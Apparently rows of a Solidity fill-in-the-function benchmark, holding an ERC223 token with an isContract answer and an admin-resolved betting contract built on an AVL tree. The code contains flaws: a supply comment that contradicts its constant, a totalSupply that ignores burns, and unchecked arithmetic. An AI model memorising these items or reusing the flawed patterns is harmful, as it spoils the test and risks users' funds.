/* The supply is initially 100,000,000MGO to the precision of 8 decimals */
uint256 public constant _initialSupply = 49800000000000000;
/* Contract Variables */
address public owner;
uint256 public _currentSupply;
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
/* Constructor initializes the owner's balance and the supply */
function FLTTToken() {
owner = msg.sender;
_currentSupply = _initialSupply;
balances[owner] = _initialSupply;
}
/* ERC20 Events */
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed to, uint256 value);
/* ERC223 Events */
event Transfer(address indexed from, address indexed to, uint value, bytes data);
/* Non-ERC Events */
event Burn(address indexed from, uint256 amount, uint256 currentSupply, bytes data);
/* ERC20 Functions */
/* Return current supply in smallest denomination (1MGO = 100000000) */
function totalSupply() constant returns (uint256 totalSupply) {
return _initialSupply;
}
/* Returns the balance of a particular account */
function balanceOf(address _address) constant returns (uint256 balance) {
return balances[_address];
}
/* Transfer the balance from the sender's address to the address _to */
function transfer(address _to, uint _value) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
} else {
return false;
}
}
/* Withdraws to address _to form the address _from up to the amount _value */
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
/* Allows _spender to withdraw the _allowance amount form sender */
function approve(address _spender, uint256 _allowance) returns (bool success) {
if (_allowance <= _currentSupply) {
allowed[msg.sender][_spender] = _allowance;
Approval(msg.sender, _spender, _allowance);
return true;
} else {
return false;
}
}
/* Checks how much _spender can withdraw from _owner */
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/* ERC223 Functions */
/* Get the contract constant _name */
function name() constant returns (string name) {
return _name;
}
/* Get the contract constant _symbol */
function symbol() constant returns (string symbol) {
return _symbol;
}
/* Get the contract constant _decimals */
function decimals() constant returns (uint8 decimals) {
return _decimals;
}
/* Transfer the balance from the sender's address to the address _to with data _data */
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
} else {
return false;
}
}
/* Transfer function when _to represents a regular address */
function transferToAddress(address _to, uint _value, bytes _data) internal returns (bool success) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
/* Transfer function when _to represents a contract address, with the caveat
that the contract needs to implement the tokenFallback function in order to receive tokens */
function transferToContract(address _to, uint _value, bytes _data) internal returns (bool success) {
balances[msg.sender] -= _value;
balances[_to] += _value;
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
<FILL_FUNCTION>
/* Non-ERC Functions */
/* Remove the specified amount of the tokens from the supply permanently */
function burn(uint256 _value, bytes _data) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0) {
balances[msg.sender] -= _value;
_currentSupply -= _value;
Burn(msg.sender, _value, _currentSupply, _data);
return true;
} else {
return false;
}
}
/* Returns the total amount of tokens in supply */
function currentSupply() constant returns (uint256 currentSupply) {
return _currentSupply;
}
/* Returns the total amount of tokens ever burned */
function amountBurned() constant returns (uint256 amountBurned) {
return _initialSupply - _currentSupply;
}
/* Stops any attempt to send Ether to this contract */
function () {
throw;
}
} |
uint length;
if (_address == 0) return false;
assembly {
length := extcodesize(_address)
}
if(length > 0) {
return true;
} else {
return false;
}
| function isContract(address _address) internal returns (bool is_contract) | /* Infers if whether _address is a contract based on the presence of bytecode */
function isContract(address _address) internal returns (bool is_contract) |
10811 | SNKGame | _getPos | contract SNKGame is AdminRole, CanReclaimToken {
using SafeMath for uint;
address payable public dividendManagerAddress;
struct Node {
mapping (bool => uint) children;
uint parent;
bool side;
uint height;
uint count;
uint dupes;
}
struct Game {
mapping(uint => Node) bets;
uint res;
uint resPos;
uint amount;
mapping(uint => address[]) users; //betValue => users
mapping(uint => mapping(address => uint)) betUsers; // betValue => user => userBetAmount
mapping(address => uint[]) userBets; //user => userBetValue
mapping(address => bool) executed; //user => prizeExecuted
uint winnersAmount;
uint prizePool;
// uint winnersCount;
uint lastLeftPos;
uint lastRightPos;
uint lastLeftValue;
uint lastRightValue;
bool allDone;
}
mapping (uint => Game) public games;
uint public gameStep;
uint public closeBetsTime;
uint public gamesStart;
uint public betValue;
event NewBet(address indexed user, uint indexed game, uint bet, uint value);
event ResultSet(uint indexed game, uint res, uint lastLeftValue, uint lastRightValue, uint amount);
event PrizeTaken(address indexed user, uint game, uint amount);
constructor(address payable _dividendManagerAddress, uint _betValue) public {
require(_dividendManagerAddress != address(0));
dividendManagerAddress = _dividendManagerAddress;
gameStep = 10 minutes;
closeBetsTime = 3 minutes;
gamesStart = 1568332800; //Friday, 13 September 2019 г., 0:00:00
betValue = _betValue;
}
function() external payable {
revert();
}
function makeBet(uint _game, uint _bet) public payable {
require(_bet > 0);
require(betValue == 0 ? msg.value > 0 : msg.value == betValue);
if (_game == 0) {
_game = getCurrentGameId();
}
require(now < getGameTime(_game) - closeBetsTime);
_makeBet(games[_game], _bet);
emit NewBet(msg.sender, _game, _bet, msg.value);
}
function setRes(uint _game, uint _res) onlyAdmin public {
insertResult(_game, _res);
setLastLeftRight(_game);
shiftLeftRight(_game);
setWinnersAmount(_game, 0, 0);
}
function insertResult(uint _game, uint _res) onlyAdmin public {
//require(getGameTime(_game) < now);
_insertResult(games[_game], _res);
}
function setLastLeftRight(uint _game) onlyAdmin public {
_setLastLeftRight(games[_game]);
}
function shiftLeftRight(uint _game) onlyAdmin public {
_shiftLeftRight(games[_game]);
}
function setWinnersAmount(uint _game, uint _start, uint _stop) onlyAdmin public {
_setWinnersAmount(games[_game], _start, _stop);
if (games[_game].allDone) {
emit ResultSet(_game, games[_game].res, games[_game].lastLeftValue, games[_game].lastRightValue, games[_game].amount);
}
}
function isPrizeTaken(uint _game, address _user) public view returns (bool){
return games[_game].executed[_user];
}
function isMyPrizeTaken(uint _game) public view returns (bool){
return isPrizeTaken(_game, msg.sender);
}
function checkPrize(uint _game, address _user) public view returns (uint) {
if (games[_game].executed[_user]) {
return 0;
}
return _getPrizeAmount(games[_game], _user);
}
function checkMyPrize(uint _game) public view returns (uint) {
return checkPrize(_game, msg.sender);
}
function getPrize(uint _game, address payable _user) public {
uint amount = _getPrize(games[_game], _user);
emit PrizeTaken(_user, _game, amount);
}
function getMyPrize(uint _game) public {
getPrize(_game, msg.sender);
}
function getGameTime(uint _id) public view returns (uint) {
return gamesStart + (gameStep * _id);
}
function setDividendManager(address payable _dividendManagerAddress) onlyOwner external {
require(_dividendManagerAddress != address(0));
dividendManagerAddress = _dividendManagerAddress;
}
function setBetValue(uint _betValue) onlyOwner external {
betValue = _betValue;
}
function getCurrentGameId() public view returns (uint) {
return (now - gamesStart) / gameStep + 1;
}
function getNextGameId() external view returns (uint) {
return (now - gamesStart) / gameStep + 2;
}
function getUserBetValues(uint _game, address _user) public view returns (uint[] memory values) {
// values = new uint[](games[_game].userBets[msg.sender].length);
// for (uint i = 0; i < games[_game].userBets[msg.sender].length; i++) {
// values[i] = games[_game].userBets[msg.sender][i];
// }
return games[_game].userBets[_user];
}
function getUserBetValues(uint _game) external view returns (uint[] memory values) {
return getUserBetValues(_game, msg.sender);
}
function getUserBetAmounts(uint _game, address _user) public view returns (uint[] memory amounts) {
amounts = new uint[](games[_game].userBets[_user].length);
for (uint i = 0; i < games[_game].userBets[_user].length; i++) {
amounts[i] = games[_game].betUsers[ games[_game].userBets[_user][i] ][_user];
}
}
function getUserBetAmounts(uint _game) external view returns (uint[] memory values) {
return getUserBetAmounts(_game, msg.sender);
}
//INTERNAL FUNCTIONS
function _makeBet(Game storage game, uint _bet) internal {
if (game.betUsers[_bet][msg.sender] == 0) {
_insert(game, _bet);
game.users[_bet].push(msg.sender);
game.userBets[msg.sender].push(_bet);
}
game.amount = game.amount.add(msg.value);
game.betUsers[_bet][msg.sender] = game.betUsers[_bet][msg.sender].add(msg.value);
}
function _insertResult(Game storage game, uint _res) internal {
_insert(game, _res);
game.res = _res;
game.resPos = _getPos(game, _res);
}
function _setLastLeftRight(Game storage game) internal returns (bool) {
require(game.res > 0);
//JackPot
if (game.bets[game.res].dupes > 0) {
game.lastLeftPos = game.resPos;
game.lastRightPos = game.resPos;
game.lastLeftValue = game.res;
game.lastRightValue = game.res;
return true;
}
uint lastPos = _count(game) - 1;
if (lastPos < 19) { //1 winner
//если результат на первой или последней позиции то ставим победителя слева или справа
if (game.resPos == 0 || game.resPos == lastPos) {
game.lastLeftPos = game.resPos == 0 ? 1 : lastPos - 1;
game.lastRightPos = game.lastLeftPos;
} else {
uint leftBet = _select_at(game, game.resPos - 1);
uint rightBet = _select_at(game, game.resPos + 1);
uint leftBetDif = game.res - leftBet;
uint rightBetDif = rightBet - game.res;
if (leftBetDif == rightBetDif) {
game.lastLeftPos = game.resPos - 1;
game.lastRightPos = game.resPos + 1;
}
if (leftBetDif > rightBetDif) {
game.lastLeftPos = game.resPos + 1;
game.lastRightPos = game.resPos + 1;
}
if (leftBetDif < rightBetDif) {
//дубликатов в resPos нет, т.к. проверили выше в джекпоте
game.lastLeftPos = game.resPos - 1;
game.lastRightPos = game.resPos - 1;
}
}
} else {
uint winnersCount = lastPos.add(1).mul(10).div(100);
uint halfWinners = winnersCount.div(2);
if (game.resPos < halfWinners) {
game.lastLeftPos = 0;
game.lastRightPos = game.lastLeftPos + winnersCount;
} else {
if (game.resPos + halfWinners > lastPos) {
game.lastRightPos = lastPos;
game.lastLeftPos = lastPos - winnersCount;
} else {
game.lastLeftPos = game.resPos - halfWinners;
game.lastRightPos = game.lastLeftPos + winnersCount;
}
}
}
game.lastLeftValue = _select_at(game, game.lastLeftPos);
game.lastRightValue = _select_at(game, game.lastRightPos);
//не учитывает дубликаты для left - dupes для right + dupes, но они и не нужны нам
game.lastLeftPos = _getPos(game, game.lastLeftValue);
game.lastRightPos = _getPos(game, game.lastRightValue);// + games[_game].bets[games[_game].lastRightValue].dupes;
return true;
}
function _shiftRight(Game storage game, uint leftBetDif, uint rightBetDif, uint _val, uint lastPos) internal {
uint gleft = gasleft();
uint gasused = 0;
uint lastRightValue = game.lastRightValue;
uint lastRightPos = game.lastRightPos;
uint lastLeftValue = game.lastLeftValue;
uint lastLeftPos = game.lastLeftPos;
while (leftBetDif > rightBetDif) {
lastRightValue = _val;
lastRightPos = lastRightPos + 1 + game.bets[_val].dupes;
lastLeftValue = _select_at(game, lastLeftValue + 1);
lastLeftPos = _getPos(game, lastLeftValue);
if (lastRightPos == lastPos) break;
if (lastLeftPos >= game.resPos) break;
_val = _select_at(game, lastRightPos + 1);
leftBetDif = game.res - lastLeftValue;
rightBetDif = _val - game.res;
if (gasused == 0) {
gasused = gleft - gasleft() + 100000;
}
if (gasleft() < gasused) break;
}
game.lastRightValue = lastRightValue;
game.lastRightPos = lastRightPos;
game.lastLeftValue = lastLeftValue;
game.lastLeftPos = lastLeftPos;
}
function _shiftLeft(Game storage game, uint leftBetDif, uint rightBetDif, uint _val) internal {
uint gleft = gasleft();
uint gasused = 0;
uint lastRightValue = game.lastRightValue;
uint lastRightPos = game.lastRightPos;
uint lastLeftValue = game.lastLeftValue;
uint lastLeftPos = game.lastLeftPos;
while (rightBetDif > leftBetDif) {
lastLeftValue = _val;
lastLeftPos = lastLeftPos - game.bets[lastLeftValue].dupes - 1;
lastRightPos = lastRightPos - game.bets[lastRightValue].dupes - 1;
lastRightValue = _select_at(game, lastRightPos);
if (lastLeftPos - game.bets[lastLeftValue].dupes == 0) break;
if (lastRightPos <= game.resPos) break;
_val = _select_at(game, lastLeftPos - game.bets[lastLeftValue].dupes - 1);
leftBetDif = game.res - lastLeftValue;
rightBetDif = _val - game.res;
if (gasused == 0) {
gasused = gleft - gasleft() + 100000;
}
if (gasleft() < gasused) break;
}
game.lastRightValue = lastRightValue;
game.lastRightPos = lastRightPos;
game.lastLeftValue = lastLeftValue;
game.lastLeftPos = lastLeftPos;
}
function _shiftLeftRight(Game storage game) internal returns (bool) {
uint leftBetDif = game.res - game.lastLeftValue;
uint rightBetDif = game.lastRightValue - game.res;
if (rightBetDif == leftBetDif) return true;
uint _val;
if (leftBetDif > rightBetDif) {
uint lastPos = _count(game) - 1;
if (game.lastRightPos == lastPos) return true;
if (game.lastLeftPos >= game.resPos) return true;
// в lastRightPos последняя позиция дубля поэтому просто +1
_val = _select_at(game, game.lastRightPos + 1);
rightBetDif = _val - game.res;
_shiftRight(game, leftBetDif, rightBetDif, _val, lastPos);
} else {
if (game.lastLeftPos - game.bets[game.lastLeftValue].dupes == 0) return true;
if (game.lastRightPos <= game.resPos) return true;
//последняя позиция дубля поэтому минус дубликаты
_val = _select_at(game, game.lastLeftPos - game.bets[game.lastLeftValue].dupes - 1);
leftBetDif = game.res - _val;
_shiftLeft(game, leftBetDif, rightBetDif, _val);
}
return true;
}
//при передачи старт и стоп необходимо учитывать дубликаты (старт = последняя позиция дубликата)
function _setWinnersAmount(Game storage game, uint _start, uint _stop) internal {
uint _bet;
uint _betAmount;
if (game.lastLeftPos == game.lastRightPos) {
_bet = _select_at(game, game.lastLeftPos);
game.winnersAmount = _getBetAmount(game, _bet);
game.allDone = true;
} else {
_start = _start > 0 ? _start : game.lastLeftPos;
_stop = _stop > 0 ? _stop : game.lastRightPos;
uint i = _start;
uint winnersAmount;
while(i <= _stop) {
if (i == game.resPos) {
i++;
continue;
}
_bet = _select_at(game, i);
_betAmount = _getBetAmount(game, _bet);
winnersAmount = winnersAmount.add(_betAmount);
//верим что старт == последней позиции дубликата
if (i != _start && game.bets[_bet].dupes > 0) {
i += game.bets[_bet].dupes;
}
if (i >= game.lastRightPos) game.allDone = true;
i++;
}
// это сумма ставок победителей!
game.winnersAmount = winnersAmount;
}
if (game.allDone) {
uint profit = game.amount - game.winnersAmount;
if (profit > 0) {
uint ownerPercent = profit.div(10); //10% fee
game.prizePool = profit.sub(ownerPercent);
dividendManagerAddress.transfer(ownerPercent);
}
}
}
function _getBetAmount(Game storage game, uint _bet) internal view returns (uint amount) {
for (uint i = 0; i < game.users[_bet].length; i++) {
amount = amount.add(game.betUsers[_bet][game.users[_bet][i]]);
}
}
function _getPrize(Game storage game, address payable user) internal returns (uint amount) {
require(game.allDone);
require(!game.executed[user]);
game.executed[user] = true;
amount = _getPrizeAmount(game, user);
require(amount > 0);
user.transfer(amount);
}
function _getPrizeAmount(Game storage game, address user) internal view returns (uint amount){
amount = _getUserAmount(game, user);
if (amount > 0 && game.prizePool > 0) {
// доля суммы ставок игрока, которые вошли в число победивших от общей суммы ставок победителей
amount = amount.add(game.prizePool.mul(amount).div(game.winnersAmount));
}
}
function _getUserAmount(Game storage game, address user) internal view returns (uint amount){
amount = 0;
for (uint i = 0; i < game.userBets[user].length; i++) {
if (game.userBets[user][i] >= game.lastLeftValue &&
game.userBets[user][i] <= game.lastRightValue)
{
amount += game.betUsers[game.userBets[user][i]][user];
}
}
}
//AVL FUNCTIONS
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function getPos(uint _game, uint _value) public view returns (uint) {
return _getPos(games[_game], _value);
}
function select_at(uint _game, uint pos) public view returns (uint) {
return _select_at(games[_game], pos);
}
function count(uint _game) public view returns (uint) {
return _count(games[_game]);
}
//internal
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function _insert(Game storage game, uint _value) internal {
if (_value==0)
game.bets[_value].dupes++;
else{
insert_helper(game, 0, true, _value);
}
}
//если есть дупбликаты, то возвращает позицию послденего элемента
function _getPos(Game storage game, uint _value) internal view returns (uint) {<FILL_FUNCTION_BODY> }
function _select_at(Game storage game, uint pos) internal view returns (uint value){
uint zeroes=game.bets[0].dupes;
// Node memory left_node;
uint left_count;
if (pos<zeroes) {
return 0;
}
uint pos_new=pos-zeroes;
uint cur=game.bets[0].children[true];
Node storage cur_node=game.bets[cur];
while(true){
uint left=cur_node.children[false];
uint cur_num=cur_node.dupes+1;
if (left!=0) {
left_count=game.bets[left].count;
}
else {
left_count=0;
}
if (pos_new<left_count) {
cur=left;
cur_node=game.bets[left];
}
else if (pos_new<left_count+cur_num){
return cur;
}
else {
cur=cur_node.children[true];
cur_node=game.bets[cur];
pos_new-=left_count+cur_num;
}
}
}
function _count(Game storage game) internal view returns (uint){
Node storage root=game.bets[0];
Node storage child=game.bets[root.children[true]];
return root.dupes+child.count;
}
function insert_helper(Game storage game, uint p_value, bool side, uint value) private {
Node storage root=game.bets[p_value];
uint c_value=root.children[side];
if (c_value==0){
root.children[side]=value;
Node storage child=game.bets[value];
child.parent=p_value;
child.side=side;
child.height=1;
child.count=1;
update_counts(game, value);
rebalance_insert(game, value);
}
else if (c_value==value){
game.bets[c_value].dupes++;
update_count(game, value);
update_counts(game, value);
}
else{
bool side_new=(value >= c_value);
insert_helper(game, c_value,side_new,value);
}
}
function update_count(Game storage game, uint value) private {
Node storage n=game.bets[value];
n.count=1+game.bets[n.children[false]].count+game.bets[n.children[true]].count+n.dupes;
}
function update_counts(Game storage game, uint value) private {
uint parent=game.bets[value].parent;
while (parent!=0) {
update_count(game, parent);
parent=game.bets[parent].parent;
}
}
function rebalance_insert(Game storage game, uint n_value) private {
update_height(game, n_value);
Node storage n=game.bets[n_value];
uint p_value=n.parent;
if (p_value!=0) {
int p_bf=balance_factor(game, p_value);
bool side=n.side;
int sign;
if (side)
sign=-1;
else
sign=1;
if (p_bf == sign*2) {
if (balance_factor(game, n_value) == (-1 * sign))
rotate(game, n_value,side);
rotate(game, p_value,!side);
}
else if (p_bf != 0)
rebalance_insert(game, p_value);
}
}
function update_height(Game storage game, uint value) private {
Node storage n=game.bets[value];
uint height_left=game.bets[n.children[false]].height;
uint height_right=game.bets[n.children[true]].height;
if (height_left>height_right)
n.height=height_left+1;
else
n.height=height_right+1;
}
function balance_factor(Game storage game, uint value) private view returns (int bf) {
Node storage n=game.bets[value];
return int(game.bets[n.children[false]].height)-int(game.bets[n.children[true]].height);
}
function rotate(Game storage game, uint value,bool dir) private {
bool other_dir=!dir;
Node storage n=game.bets[value];
bool side=n.side;
uint parent=n.parent;
uint value_new=n.children[other_dir];
Node storage n_new=game.bets[value_new];
uint orphan=n_new.children[dir];
Node storage p=game.bets[parent];
Node storage o=game.bets[orphan];
p.children[side]=value_new;
n_new.side=side;
n_new.parent=parent;
n_new.children[dir]=value;
n.parent=value_new;
n.side=dir;
n.children[other_dir]=orphan;
o.parent=value;
o.side=other_dir;
update_height(game, value);
update_height(game, value_new);
update_count(game, value);
update_count(game, value_new);
}
} | contract SNKGame is AdminRole, CanReclaimToken {
using SafeMath for uint;
address payable public dividendManagerAddress;
struct Node {
mapping (bool => uint) children;
uint parent;
bool side;
uint height;
uint count;
uint dupes;
}
struct Game {
mapping(uint => Node) bets;
uint res;
uint resPos;
uint amount;
mapping(uint => address[]) users; //betValue => users
mapping(uint => mapping(address => uint)) betUsers; // betValue => user => userBetAmount
mapping(address => uint[]) userBets; //user => userBetValue
mapping(address => bool) executed; //user => prizeExecuted
uint winnersAmount;
uint prizePool;
// uint winnersCount;
uint lastLeftPos;
uint lastRightPos;
uint lastLeftValue;
uint lastRightValue;
bool allDone;
}
mapping (uint => Game) public games;
uint public gameStep;
uint public closeBetsTime;
uint public gamesStart;
uint public betValue;
event NewBet(address indexed user, uint indexed game, uint bet, uint value);
event ResultSet(uint indexed game, uint res, uint lastLeftValue, uint lastRightValue, uint amount);
event PrizeTaken(address indexed user, uint game, uint amount);
constructor(address payable _dividendManagerAddress, uint _betValue) public {
require(_dividendManagerAddress != address(0));
dividendManagerAddress = _dividendManagerAddress;
gameStep = 10 minutes;
closeBetsTime = 3 minutes;
gamesStart = 1568332800; //Friday, 13 September 2019 г., 0:00:00
betValue = _betValue;
}
function() external payable {
revert();
}
function makeBet(uint _game, uint _bet) public payable {
require(_bet > 0);
require(betValue == 0 ? msg.value > 0 : msg.value == betValue);
if (_game == 0) {
_game = getCurrentGameId();
}
require(now < getGameTime(_game) - closeBetsTime);
_makeBet(games[_game], _bet);
emit NewBet(msg.sender, _game, _bet, msg.value);
}
function setRes(uint _game, uint _res) onlyAdmin public {
insertResult(_game, _res);
setLastLeftRight(_game);
shiftLeftRight(_game);
setWinnersAmount(_game, 0, 0);
}
function insertResult(uint _game, uint _res) onlyAdmin public {
//require(getGameTime(_game) < now);
_insertResult(games[_game], _res);
}
function setLastLeftRight(uint _game) onlyAdmin public {
_setLastLeftRight(games[_game]);
}
function shiftLeftRight(uint _game) onlyAdmin public {
_shiftLeftRight(games[_game]);
}
function setWinnersAmount(uint _game, uint _start, uint _stop) onlyAdmin public {
_setWinnersAmount(games[_game], _start, _stop);
if (games[_game].allDone) {
emit ResultSet(_game, games[_game].res, games[_game].lastLeftValue, games[_game].lastRightValue, games[_game].amount);
}
}
function isPrizeTaken(uint _game, address _user) public view returns (bool){
return games[_game].executed[_user];
}
function isMyPrizeTaken(uint _game) public view returns (bool){
return isPrizeTaken(_game, msg.sender);
}
function checkPrize(uint _game, address _user) public view returns (uint) {
if (games[_game].executed[_user]) {
return 0;
}
return _getPrizeAmount(games[_game], _user);
}
function checkMyPrize(uint _game) public view returns (uint) {
return checkPrize(_game, msg.sender);
}
function getPrize(uint _game, address payable _user) public {
uint amount = _getPrize(games[_game], _user);
emit PrizeTaken(_user, _game, amount);
}
function getMyPrize(uint _game) public {
getPrize(_game, msg.sender);
}
function getGameTime(uint _id) public view returns (uint) {
return gamesStart + (gameStep * _id);
}
function setDividendManager(address payable _dividendManagerAddress) onlyOwner external {
require(_dividendManagerAddress != address(0));
dividendManagerAddress = _dividendManagerAddress;
}
function setBetValue(uint _betValue) onlyOwner external {
betValue = _betValue;
}
function getCurrentGameId() public view returns (uint) {
return (now - gamesStart) / gameStep + 1;
}
function getNextGameId() external view returns (uint) {
return (now - gamesStart) / gameStep + 2;
}
function getUserBetValues(uint _game, address _user) public view returns (uint[] memory values) {
// values = new uint[](games[_game].userBets[msg.sender].length);
// for (uint i = 0; i < games[_game].userBets[msg.sender].length; i++) {
// values[i] = games[_game].userBets[msg.sender][i];
// }
return games[_game].userBets[_user];
}
function getUserBetValues(uint _game) external view returns (uint[] memory values) {
return getUserBetValues(_game, msg.sender);
}
function getUserBetAmounts(uint _game, address _user) public view returns (uint[] memory amounts) {
amounts = new uint[](games[_game].userBets[_user].length);
for (uint i = 0; i < games[_game].userBets[_user].length; i++) {
amounts[i] = games[_game].betUsers[ games[_game].userBets[_user][i] ][_user];
}
}
function getUserBetAmounts(uint _game) external view returns (uint[] memory values) {
return getUserBetAmounts(_game, msg.sender);
}
//INTERNAL FUNCTIONS
function _makeBet(Game storage game, uint _bet) internal {
if (game.betUsers[_bet][msg.sender] == 0) {
_insert(game, _bet);
game.users[_bet].push(msg.sender);
game.userBets[msg.sender].push(_bet);
}
game.amount = game.amount.add(msg.value);
game.betUsers[_bet][msg.sender] = game.betUsers[_bet][msg.sender].add(msg.value);
}
function _insertResult(Game storage game, uint _res) internal {
_insert(game, _res);
game.res = _res;
game.resPos = _getPos(game, _res);
}
function _setLastLeftRight(Game storage game) internal returns (bool) {
require(game.res > 0);
//JackPot
if (game.bets[game.res].dupes > 0) {
game.lastLeftPos = game.resPos;
game.lastRightPos = game.resPos;
game.lastLeftValue = game.res;
game.lastRightValue = game.res;
return true;
}
uint lastPos = _count(game) - 1;
if (lastPos < 19) { //1 winner
//если результат на первой или последней позиции то ставим победителя слева или справа
if (game.resPos == 0 || game.resPos == lastPos) {
game.lastLeftPos = game.resPos == 0 ? 1 : lastPos - 1;
game.lastRightPos = game.lastLeftPos;
} else {
uint leftBet = _select_at(game, game.resPos - 1);
uint rightBet = _select_at(game, game.resPos + 1);
uint leftBetDif = game.res - leftBet;
uint rightBetDif = rightBet - game.res;
if (leftBetDif == rightBetDif) {
game.lastLeftPos = game.resPos - 1;
game.lastRightPos = game.resPos + 1;
}
if (leftBetDif > rightBetDif) {
game.lastLeftPos = game.resPos + 1;
game.lastRightPos = game.resPos + 1;
}
if (leftBetDif < rightBetDif) {
//дубликатов в resPos нет, т.к. проверили выше в джекпоте
game.lastLeftPos = game.resPos - 1;
game.lastRightPos = game.resPos - 1;
}
}
} else {
uint winnersCount = lastPos.add(1).mul(10).div(100);
uint halfWinners = winnersCount.div(2);
if (game.resPos < halfWinners) {
game.lastLeftPos = 0;
game.lastRightPos = game.lastLeftPos + winnersCount;
} else {
if (game.resPos + halfWinners > lastPos) {
game.lastRightPos = lastPos;
game.lastLeftPos = lastPos - winnersCount;
} else {
game.lastLeftPos = game.resPos - halfWinners;
game.lastRightPos = game.lastLeftPos + winnersCount;
}
}
}
game.lastLeftValue = _select_at(game, game.lastLeftPos);
game.lastRightValue = _select_at(game, game.lastRightPos);
//не учитывает дубликаты для left - dupes для right + dupes, но они и не нужны нам
game.lastLeftPos = _getPos(game, game.lastLeftValue);
game.lastRightPos = _getPos(game, game.lastRightValue);// + games[_game].bets[games[_game].lastRightValue].dupes;
return true;
}
function _shiftRight(Game storage game, uint leftBetDif, uint rightBetDif, uint _val, uint lastPos) internal {
uint gleft = gasleft();
uint gasused = 0;
uint lastRightValue = game.lastRightValue;
uint lastRightPos = game.lastRightPos;
uint lastLeftValue = game.lastLeftValue;
uint lastLeftPos = game.lastLeftPos;
while (leftBetDif > rightBetDif) {
lastRightValue = _val;
lastRightPos = lastRightPos + 1 + game.bets[_val].dupes;
lastLeftValue = _select_at(game, lastLeftValue + 1);
lastLeftPos = _getPos(game, lastLeftValue);
if (lastRightPos == lastPos) break;
if (lastLeftPos >= game.resPos) break;
_val = _select_at(game, lastRightPos + 1);
leftBetDif = game.res - lastLeftValue;
rightBetDif = _val - game.res;
if (gasused == 0) {
gasused = gleft - gasleft() + 100000;
}
if (gasleft() < gasused) break;
}
game.lastRightValue = lastRightValue;
game.lastRightPos = lastRightPos;
game.lastLeftValue = lastLeftValue;
game.lastLeftPos = lastLeftPos;
}
function _shiftLeft(Game storage game, uint leftBetDif, uint rightBetDif, uint _val) internal {
uint gleft = gasleft();
uint gasused = 0;
uint lastRightValue = game.lastRightValue;
uint lastRightPos = game.lastRightPos;
uint lastLeftValue = game.lastLeftValue;
uint lastLeftPos = game.lastLeftPos;
while (rightBetDif > leftBetDif) {
lastLeftValue = _val;
lastLeftPos = lastLeftPos - game.bets[lastLeftValue].dupes - 1;
lastRightPos = lastRightPos - game.bets[lastRightValue].dupes - 1;
lastRightValue = _select_at(game, lastRightPos);
if (lastLeftPos - game.bets[lastLeftValue].dupes == 0) break;
if (lastRightPos <= game.resPos) break;
_val = _select_at(game, lastLeftPos - game.bets[lastLeftValue].dupes - 1);
leftBetDif = game.res - lastLeftValue;
rightBetDif = _val - game.res;
if (gasused == 0) {
gasused = gleft - gasleft() + 100000;
}
if (gasleft() < gasused) break;
}
game.lastRightValue = lastRightValue;
game.lastRightPos = lastRightPos;
game.lastLeftValue = lastLeftValue;
game.lastLeftPos = lastLeftPos;
}
function _shiftLeftRight(Game storage game) internal returns (bool) {
uint leftBetDif = game.res - game.lastLeftValue;
uint rightBetDif = game.lastRightValue - game.res;
if (rightBetDif == leftBetDif) return true;
uint _val;
if (leftBetDif > rightBetDif) {
uint lastPos = _count(game) - 1;
if (game.lastRightPos == lastPos) return true;
if (game.lastLeftPos >= game.resPos) return true;
// в lastRightPos последняя позиция дубля поэтому просто +1
_val = _select_at(game, game.lastRightPos + 1);
rightBetDif = _val - game.res;
_shiftRight(game, leftBetDif, rightBetDif, _val, lastPos);
} else {
if (game.lastLeftPos - game.bets[game.lastLeftValue].dupes == 0) return true;
if (game.lastRightPos <= game.resPos) return true;
//последняя позиция дубля поэтому минус дубликаты
_val = _select_at(game, game.lastLeftPos - game.bets[game.lastLeftValue].dupes - 1);
leftBetDif = game.res - _val;
_shiftLeft(game, leftBetDif, rightBetDif, _val);
}
return true;
}
//при передачи старт и стоп необходимо учитывать дубликаты (старт = последняя позиция дубликата)
function _setWinnersAmount(Game storage game, uint _start, uint _stop) internal {
uint _bet;
uint _betAmount;
if (game.lastLeftPos == game.lastRightPos) {
_bet = _select_at(game, game.lastLeftPos);
game.winnersAmount = _getBetAmount(game, _bet);
game.allDone = true;
} else {
_start = _start > 0 ? _start : game.lastLeftPos;
_stop = _stop > 0 ? _stop : game.lastRightPos;
uint i = _start;
uint winnersAmount;
while(i <= _stop) {
if (i == game.resPos) {
i++;
continue;
}
_bet = _select_at(game, i);
_betAmount = _getBetAmount(game, _bet);
winnersAmount = winnersAmount.add(_betAmount);
//верим что старт == последней позиции дубликата
if (i != _start && game.bets[_bet].dupes > 0) {
i += game.bets[_bet].dupes;
}
if (i >= game.lastRightPos) game.allDone = true;
i++;
}
// это сумма ставок победителей!
game.winnersAmount = winnersAmount;
}
if (game.allDone) {
uint profit = game.amount - game.winnersAmount;
if (profit > 0) {
uint ownerPercent = profit.div(10); //10% fee
game.prizePool = profit.sub(ownerPercent);
dividendManagerAddress.transfer(ownerPercent);
}
}
}
function _getBetAmount(Game storage game, uint _bet) internal view returns (uint amount) {
for (uint i = 0; i < game.users[_bet].length; i++) {
amount = amount.add(game.betUsers[_bet][game.users[_bet][i]]);
}
}
